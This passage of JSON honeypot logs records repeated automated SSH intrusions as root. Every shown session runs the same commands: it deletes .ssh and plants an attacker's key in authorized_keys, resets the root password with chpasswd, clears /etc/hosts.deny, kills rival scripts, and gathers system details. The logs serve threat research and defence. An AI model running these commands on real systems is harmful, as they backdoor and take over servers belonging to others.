node\n^C"},{"seq":23,"at":"2026-08-26T21:37:10.576256+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T21:37:10.576790+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T21:37:11.083176+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T21:37:11.083687+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T21:37:11.597820+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T21:37:11.598263+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T21:37:12.106005+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T21:37:12.675942+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T21:37:13.185914+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T21:37:13.692090+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"123456qw","method":"password","accepted":true,"tier":"other"}]} {"id":"0f22c5aa-bc0d-4de4-92dc-df46039b662f","name":"painted-wiry-wren","protocol":"ssh","channel_kind":"exec","src_ip":"129.121.114.225","src_port":47040,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T21:35:05.727119+00:00","ended_at":"2026-08-26T21:35:07.870729+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2183,"events":[{"seq":1,"at":"2026-08-26T21:34:41.116780+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T21:34:41.183078+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T21:34:44.090515+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T21:34:46.005722+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T21:34:46.072861+00:00","kind":"input","latency_ms":null,"data":"echo \"root:xvMCso3Zxj1U\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T21:34:46.142283+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T21:34:46.208050+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T21:34:46.898695+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-26T21:34:47.245288+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-26T21:34:47.313180+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-26T21:34:48.824603+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-26T21:34:48.891906+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-26T21:34:51.093267+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-26T21:34:51.163857+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-26T21:34:52.608487+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-26T21:34:52.679925+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-26T21:34:53.493200+00:00","kind":"output","latency_ms":null,"data":" 21:34:53 up 6 days, 18:25, 0 user, load average: 0.14, 0.18, 0.14\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-26T21:34:53.562938+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-26T21:34:55.317848+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-26T21:34:55.384660+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-26T21:34:56.849868+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-26T21:34:56.917216+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-26T21:34:58.902683+00:00","kind":"output","latency_ms":null,"data":"top - 21:34:58 up 6 days, 18:25, 0 user, load average: 0.14, 0.18, 0.14\nTasks: 122 total, 1 running, 121 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9691 free, 6196 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-26T21:34:58.968518+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-26T21:35:00.292745+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-26T21:35:00.355868+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-26T21:35:02.308958+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-26T21:35:02.376824+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-26T21:35:04.243884+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-26T21:35:04.313660+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-26T21:35:05.663393+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-26T21:35:05.727880+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-26T21:35:07.865704+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"123@P@ssw0rd","method":"password","accepted":true,"tier":"other"}]} {"id":"5e466ecf-96c8-48a2-81bb-9aa6878ab1fe","name":"forlorn-airy-plover","protocol":"ssh","channel_kind":"exec","src_ip":"129.121.114.225","src_port":49734,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T21:31:03.393133+00:00","ended_at":"2026-08-26T21:31:05.334337+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2159,"events":[{"seq":1,"at":"2026-08-26T21:30:39.886695+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T21:30:39.955430+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T21:30:43.087691+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T21:30:44.107141+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T21:30:44.184319+00:00","kind":"input","latency_ms":null,"data":"echo \"root:xCJ1tCPB74E8\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T21:30:44.258361+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T21:30:44.331356+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T21:30:45.550372+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-26T21:30:45.974704+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-26T21:30:46.043517+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-26T21:30:47.633121+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-26T21:30:47.704541+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-26T21:30:49.537428+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-26T21:30:49.610660+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-26T21:30:51.109394+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-26T21:30:51.178777+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-26T21:30:53.138566+00:00","kind":"output","latency_ms":null,"data":" 21:30:53 up 6 days, 18:21, 0 user, load average: 0.2, 0.24, 0.18\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-26T21:30:53.204806+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-26T21:30:54.554754+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-26T21:30:54.624292+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-26T21:30:56.179154+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-26T21:30:56.247427+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-26T21:30:57.407362+00:00","kind":"output","latency_ms":null,"data":"top - 21:30:57 up 6 days, 18:21, 0 user, load average: 0.2, 0.24, 0.18\nTasks: 122 total, 1 running, 121 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7308 free, 8579 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-26T21:30:57.475486+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-26T21:30:58.531774+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-26T21:30:58.601713+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-26T21:30:59.545108+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-26T21:30:59.613077+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-26T21:31:01.664547+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-26T21:31:01.731442+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-26T21:31:03.323355+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-26T21:31:03.393859+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-26T21:31:05.329488+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Ls123456@","method":"password","accepted":true,"tier":"other"}]} {"id":"8d3d7962-2361-41fb-b214-58651d26d07b","name":"pewter-gallant-walrus","protocol":"ssh","channel_kind":"exec","src_ip":"129.121.114.225","src_port":55372,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T21:29:02.848236+00:00","ended_at":"2026-08-26T21:29:04.782689+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2150,"events":[{"seq":1,"at":"2026-08-26T21:28:40.432770+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T21:28:40.500009+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T21:28:44.209889+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T21:28:46.034023+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T21:28:46.100682+00:00","kind":"input","latency_ms":null,"data":"echo \"root:T02LMC6cm9cF\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T21:28:46.166945+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T21:28:46.236847+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T21:28:47.037285+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-26T21:28:47.351253+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-26T21:28:47.419831+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-26T21:28:48.272514+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-26T21:28:48.344612+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-26T21:28:49.456715+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-26T21:28:49.528791+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-26T21:28:51.238113+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-26T21:28:51.303655+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-26T21:28:52.266998+00:00","kind":"output","latency_ms":null,"data":" 21:28:52 up 6 days, 18:18, 0 user, load average: 0.03, 0.02, 0.02\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-26T21:28:52.336597+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-26T21:28:53.758167+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-26T21:28:53.828759+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-26T21:28:55.197417+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-26T21:28:55.265172+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-26T21:28:57.463442+00:00","kind":"output","latency_ms":null,"data":"top - 21:28:57 up 6 days, 18:19, 0 user, load average: 0.03, 0.02, 0.02\nTasks: 122 total, 1 running, 121 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8738 free, 7149 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-26T21:28:57.529138+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-26T21:28:58.356355+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-26T21:28:58.425866+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-26T21:29:00.038304+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-26T21:29:00.104457+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-26T21:29:01.468426+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-26T21:29:01.535679+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-26T21:29:02.776878+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-26T21:29:02.849142+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-26T21:29:04.771120+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"a123456A","method":"password","accepted":true,"tier":"other"}]} {"id":"1fec95c7-044b-4fc2-be60-59b63ff187be","name":"vernal-peaty-teal","protocol":"ssh","channel_kind":"exec","src_ip":"129.121.114.225","src_port":35232,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":70,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T21:25:07.667501+00:00","ended_at":"2026-08-26T21:25:09.073224+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2128,"events":[{"seq":1,"at":"2026-08-26T21:24:56.380244+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T21:24:56.445460+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T21:24:58.086462+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T21:24:58.563343+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T21:24:58.629864+00:00","kind":"input","latency_ms":null,"data":"echo \"root:JnfjLITMbMn3\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T21:24:58.696128+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T21:24:58.762677+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T21:24:59.282724+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T21:24:59.348517+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T21:25:00.559156+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T21:25:00.627802+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T21:25:01.893959+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T21:25:01.964835+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T21:25:02.442432+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T21:25:02.514756+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T21:25:03.176968+00:00","kind":"output","latency_ms":null,"data":" 21:25:03 up 6 days, 18:15, 0 user, load average: 0.08, 0.08, 0.08\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T21:25:03.244573+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T21:25:03.641995+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T21:25:03.713242+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T21:25:04.147124+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T21:25:04.217411+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T21:25:04.524305+00:00","kind":"output","latency_ms":null,"data":"top - 21:25:04 up 6 days, 18:15, 0 user, load average: 0.08, 0.08, 0.08\nTasks: 106 total, 1 running, 105 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7149 free, 8738 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T21:25:04.594114+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T21:25:05.022109+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T21:25:05.089304+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T21:25:05.535850+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T21:25:05.602648+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T21:25:06.441643+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T21:25:06.508410+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T21:25:07.601075+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T21:25:07.668374+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T21:25:09.061240+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"ly123456","method":"password","accepted":true,"tier":"other"}]} {"id":"e5bbe61c-4330-4c76-b8b7-169e1a52688c","name":"wistful-solemn-capuchin","protocol":"ssh","channel_kind":"exec","src_ip":"20.153.204.5","src_port":58454,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":540,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T18:28:31.967852+00:00","ended_at":"2026-08-26T18:28:33.184528+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2302,"events":[{"seq":1,"at":"2026-08-26T18:28:09.032537+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T18:28:09.573275+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa 